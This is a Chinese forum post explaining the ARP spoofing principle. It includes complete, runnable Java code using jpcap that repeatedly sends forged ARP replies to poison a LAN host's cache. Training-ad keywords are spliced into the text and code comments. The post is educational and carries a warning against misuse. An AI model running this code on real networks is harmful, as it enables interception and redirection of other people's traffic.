JAVA代码实现ARP攻击[推荐]_Tomcat, WebLogic及J2EE讨论区_Weblogic技术|Tuxedo技术|中间件技术|Oracle论坛|JAVA论坛|Linux/Unix技术|hadoop论坛_联动北方技术论坛  
网站首页 | 关于我们 | 服务中心 | 经验交流 | 公司荣誉 | 成功案例 | 合作伙伴 | 联系我们 |
联动北方-国内领先的云技术服务提供商
»  游客             当前位置:  论坛首页 »  自由讨论区 »  Tomcat, WebLogic及J2EE讨论区 »
总帖数
1
每页帖数
101/1页1
返回列表
0
发起投票  发起投票 发新帖子
查看: 3763 | 回复: 0   主题: JAVA代码实现ARP攻击[推荐]        下一篇 
jfl
注册用户
等级:少校
经验:1112
发帖:95
精华:0
注册:2012-8-10
状态:离线
发送短消息息给jfl 加好友    发送短消息息给jfl 发消息
发表于: IP:您无权察看 2012-8-27 12:34:51 | [全部帖] [楼主帖] 楼主

ARP攻击原理
一台电脑通过网络访问另一台电脑的时候,在数据链路层需要知道对方的MAC地址进行真正的物理通信.
而电脑上的应用程序通常都是根据另一台电脑的IP地址来和对方建立通信,这时候就需要有一个协议将
IP地址解析到MAC地址,这就是ARP协议.达内就业
而ARP具体过程就是当需要通过IP获取一个远端的的MAC地址的时候,系统会首先检查ARP表中
是否存在对应的IP地址,如果没有,则发送一个ARP广播,当某一个拥有这个MAC地址的节点
收到ARP请求的时候,会创建一个ARP reply包,并发送到ARP请求的源节点,
ARP Reply包中就包含了目的地节点的MAC地址,在源节点接受到这个reply后,
会将目的地节点的MAC地址保存在ARP缓存表中,下一次再次请求同一 IP地址的时候,
系统将会从ARP表中直接获取目的地MAC地址,而不需要再次发送ARP广播。
用ping命令举例来说, 在机器A,比如说IP是192.168.1.2中发出下面的ping命令:
ping 192.168.1.3,如果192.168.1.3这个MAC地址在机器A的ARP缓存表中不存在,这时候
机器A就会发送一个ARP广播,当192.168.1.3接到广播后,会给机器A回一个
ARP Reply包,其中包含了192.168.1.3的MAC地址,这是正常的ARP过程.
假设IP--MAC的对应关系为(192.168.1.3--00-1C-23-2E-A7-0E)
但是局域网内的其他机器也可向机器A发一个假的IP--MAC对应关系ARP Reply包,
机器A接收到这个假的包后同样会更新自己的ARP缓存表.假设发送的为

(192.168.1.3--00-1C-23-2E-A7-0A,0A实际上为192.168.1.4的MAC地址)
那么机器A再通过IP往192.168.1.3发送数据的时候,实际上却发到了192.168.1.4这台机器.
这样就到达了ARP攻击或者叫做ARP欺骗.ARP攻击只能发生在局域网内.
本文旨在举例说明ARP攻击的原理,希望看官们不要用来恶作剧你局域网的其他机器,要不你的网管很快就会面谈你滴...
下面用JAVA代码模拟一下上面说到的ARP欺骗.
192.168.1.4将一个192.168.1.3的假的MAC地址发给 192.168.1.2.成都java就业怎么样
需要用到jpcap.jar,
[java] view plaincopyprint?


    package com.test.arp;

    import java.net.InetAddress;

    import jpcap.JpcapCaptor;

    import jpcap.JpcapSender;

    import jpcap.NetworkInterface;

    import jpcap.packet.ARPPacket;

    import jpcap.packet.EthernetPacket;

    public
    class SendFakeARP {

    static
    byte[] stomac(String s) {
          byte[] mac = new
    byte[] { (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00 };
          String[] s1 = s.split("-");
          for (int x = 0; x < s1.length; x++) {
                mac[x] = (byte) ((Integer.parseInt(s1[x], 16)) & 0xff);
          }
          return mac;
    }
    public
    static
    void main(String[] args) throws Exception {
          int time = 2; // 重发间隔时间 达内java培训
          InetAddress desip = InetAddress.getByName("192.168.1.2");// 被欺骗的目标IP地址
          byte[] desmac = stomac("00-1c-23-3c-41-7f");// 被欺骗的目标目标MAC数组
          InetAddress srcip = InetAddress.getByName("192.168.1.3");// 源IP地址
          byte[] srcmac = stomac("00-1C-23-2E-A7-0A"); // 假的MAC数组
          // 枚举网卡并打开设备
          NetworkInterface[] devices = JpcapCaptor.getDeviceList();
          NetworkInterface device = devices[1];
          JpcapSender sender = JpcapSender.openDevice(device);
          // 设置ARP包
          ARPPacket arp = new ARPPacket();
          arp.hardtype = ARPPacket.HARDTYPE_ETHER;
          arp.prototype = ARPPacket.PROTOTYPE_IP;
          arp.operation = ARPPacket.ARP_REPLY;
          arp.hlen = 6;
          arp.plen = 4;
          arp.sender_hardaddr = srcmac;
          arp.sender_protoaddr = srcip.getAddress();
          arp.target_hardaddr = desmac;
          arp.target_protoaddr = desip.getAddress();
          // 设置DLC帧
          EthernetPacket ether = new EthernetPacket();
          ether.frametype = EthernetPacket.ETHERTYPE_ARP;
          ether.src_mac = srcmac;
          ether.dst_mac = desmac;
          arp.datalink = ether;
          // 发送ARP应答包java培训机构
          while (true) {
                System.out.println("sending arp..");
                sender.sendPacket(arp);
                Thread.sleep(time * 1000);
          }
    }
    }




赞(0)    操作        顶端 
总帖数
1
每页帖数
101/1页1
返回列表
发新帖子
请输入验证码: 点击刷新验证码
您需要登录后才可以回帖 登录 | 注册
技术讨论